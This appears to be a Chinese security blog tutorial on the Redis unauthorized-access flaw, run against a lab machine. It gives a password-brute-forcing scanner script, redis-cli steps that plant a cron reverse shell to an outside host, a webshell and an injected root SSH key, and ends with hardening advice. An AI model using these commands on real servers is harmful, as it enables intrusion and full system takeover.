redis未授权访问

作者 : admin 本文共2538个字,预计阅读时间需要7分钟 发布时间: 2024-06-16 共3人阅读

redis数据库基本知识

redis非关系型数据库

redis未授权访问蓝队的成因和危害

漏洞的定义:redis未授权访问漏洞是一个由于redis服务器版本较低,其未设置登录密码导致的登录。

攻击者可以直接利用redis服务器的ip地址和端口完成redis服务器的远程登陆,对目标服务器进行恶意操作

黑客可以直接利用redis的ip和端口对目标服务器的登录,

漏洞成因:

redis版本过低,低于5.05

redis直接暴露在公网上,没有设置不能公网访问,而且端口是默认端口

没有设置密码认证,可以直接免密远程登陆

redis未授权访问漏洞的成因危害

攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制

攻击者可以通过redis命令向网站目录写入webshell,完成对网站服务器的控制 

最严重的是redis‘是root权限,黑客可以给root账户写入ssh公钥文件,直接通过ssh登录受害访问

漏洞复现

靶场搭建就看这个文章吧

漏洞复现之Redis未授权访问_redis未授权访问漏洞修复建议-CSDN博客

redis未授权访问插图

直接空秘密未授权访问,如果不是空秘密也可以弱口令爆破

#!/usr/bin/python2
# -*- coding: utf-8 -*-

import socket
import sys

def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r
")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"[+] IP:{0}存在未授权访问".format(ip)
        elif "Authentication" in result:
            with open('pass.txt','r') as  p:
                passwds = p.readlines()
                for passwd in passwds:
                    passwd = passwd.strip("
")
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s\r
" %(passwd))
                    # print u"[HACKING] hacking to passwd --> "+passwd
                    result = s.recv(1024)
                    if 'OK' in result:
                        return u"[+] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)
                    else:pass
        else:pass
        s.close()
    except Exception, e:
        return u"[+] IP:{0}已过滤".format(ip)
        pass

if __name__ == '__main__':
    port="6379"
    with open('IP.txt','r') as  f:
        ips = f.readlines()
        for i in ips:
            ip = i.strip("
")
            result = check(ip,port,timeout=10)
            print(result)

把密码卸载pass里面,ip写在ip里面

redis未授权访问插图(1)

漏洞利用

写计划任务反弹shell

redis未授权访问插图(2)

192.168.201.128:6379> config set dir /var/spool/cron/crontabs
OK
192.168.201.128:6379> config set dbfilename yue
OK
192.168.201.128:6379> set xxoo ”

*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.201.129/5555 0>&1


OK
192.168.201.128:6379> save
OK
因为在ubvutun里面,不是centos所以,写入的目录也不一样

Centos的定时任务文件在/var/spool/cron/root

Ubuntu定时任务文件在/var/spool/cron/crontabs/root

共有定时任务文件在/etc/crontab

但是在ubuntu中由于root权限的redis创建的文件权限是644,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,如果写入/etc/crontab,因为存在乱码,所以ubuntu无法正确执行。

但计划任务已经写入了

redis未授权访问插图(3)

写一句webshell到网站服务器目录

redis未授权访问插图(4)

差不多的,shell.php是文件马子,html是目录。然后就是内容。保存一下,访问这个shell.php链接后门就行了

前提,知道网站的物理路径

写ssh公钥实现远程登陆

首先在目标机中运行的Redis服务必须是root权限,否则无法对ssh存储公钥的路径进行访问

前提目标开启了ssh服务

└─# ssh-keygen -t rsa

redis未授权访问插图(5)
kali生成密钥对

查看一下.ssh目录

redis未授权访问插图(6)

其中id_rsa是生成的秘钥,id_rsa.pub是生成的公钥,我们需要将id_rsa.pub写入目标主机中

进入/root/.ssh并将公钥写入key.txt文件

(echo -e ”
“;cat id_rsa.pub;echo -e ”
“)>key.txt        

将key.txt文件传入redis靶机

cat key.txt| redis-cli -h 靶机ip -x set pub

redis未授权访问插图(7)

redis未授权访问插图(8)

直接复制可能会出错,可以险些redis-cli-ip

将redis文件路径设为/root/.ssh,文件名为authorized_keys,并save保存

1)./redis-cli -h 靶机ip

3)config set dir /root/.ssh

4)config set dbfilename authorized_keys

6)save

redis未授权访问插图(9)

成功写入ssh公钥

redis未授权访问插图(10)

root权限,这个在有一定权限之后拿来提权挺好的

redis安全加固

升级版本到5.0.5以上

默认端口修改一下,并且不暴露在公网之上

设置密码认证,防止免密远程登陆

利用防火墙,ids ,ips对访问redis服务器的流量进行检测拦截

ping

an

本站无任何商业行为
个人在线分享 » redis未授权访问
E-->